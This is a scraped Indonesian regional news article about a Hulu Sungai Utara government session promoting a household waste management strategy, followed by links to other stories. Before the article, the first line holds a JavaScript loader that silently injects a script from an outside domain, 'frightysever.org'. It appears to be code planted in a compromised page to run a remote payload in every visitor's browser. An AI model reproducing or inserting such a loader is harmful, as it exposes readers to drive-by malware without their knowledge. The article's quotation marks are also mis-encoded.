(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Menyamakan persepsi dan mendorong komitmen bersama pengelolaan lingkungan di wilayah HSU, Dinas Perumahan Kawasan Pemukiman dan Lingkungan Hidup (DPKP LH) HSU sosialisasi kebijakan dan strategis daerah (Jakstrada) pengelolaan sampah rumah tangga dan sampah sejenis sampah rumah tangga.
Kegiatan berlangsung di aula Minosa Resort Amuntai, Senin (19/20) dihadiri kepala SKPD, camat, lurah, Komunitas Hijau Rarawa Amuntai serta masyarakat peduli lingkungan.
Kepala DPKP LH HSU Ir H Rusnaidi, adanya Perpres no 97 tahun 2017 tentang kebijakan dan strategi nasional dalam pengelolaan sampah rumah tangga dan sampah sejenis sampah rumah tangga, diperlukan menyamakan persepsi dan sinergisitas seluruh pemangku kepentingan.
“Target yang dituangkan dalam Jakstrada untuk pengelolaan persampahan sampai tahun 2025, tujuannya Indonesia bersih, kabupaten dan provinsi yang bersih terlebih dahulu,†kata Rusnaidi.
Asisten II Bidang Pembangunan dan Ekonomi Setda HSU H Rifaniansyah, harus ada komitmen bersama membangun kerjasama dan sinergisitas dalam pengelolaan lingkungan di wilayah HSU. “Mewujudkan HSU bersih 2025 dengan melakukan barbagai upaya, antara lain program bank sampah, reduse atau mendaur ulang,†ujarnya.
Sementara itu, Hj Ninuk Murtini, pejabat fungsional Ahli Madya Pengendalian Dampak Lingkungan Dinas LH Kalsel mengatakan, partisipasi masyarakat sangatlah penting dalam penanganan masalah sampah.
“Khususnya masalah sampah rumah tangga dan sampah sejenis rumah tangga, permukiman ini nilainya masih rendah masih cukup yaitu 69,69% sedangkan passing grade 75 % maka dari itu perlu ditingkatkan lagi dan juga kita harus membuat komitmen bersama antara pemerintah dengan masyarakat dalam rangka menanggulangi masalah sampah rumah tangga,†bebernya.
Pemilahan dan pengolahan masih perlu dibenahi karena masyarakat banyak belum tahu lagi mana sampah organik dan non organik jadi masih tercampur pada tempatnya pada satu proses.
“Karena itu harapan kita karena sampah ini bersumber dari masyarakat, rumah tangga, sekolah, pasar, kantor dan lain-lain, diharapkan diolah dari sumbernya, karena kalau sampah sudah diolah dari sumbernya maka tidak terlalu berat lagi untuk pengolahan sampah nantinya,†pungkasnya. (dew)
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
This website uses cookies.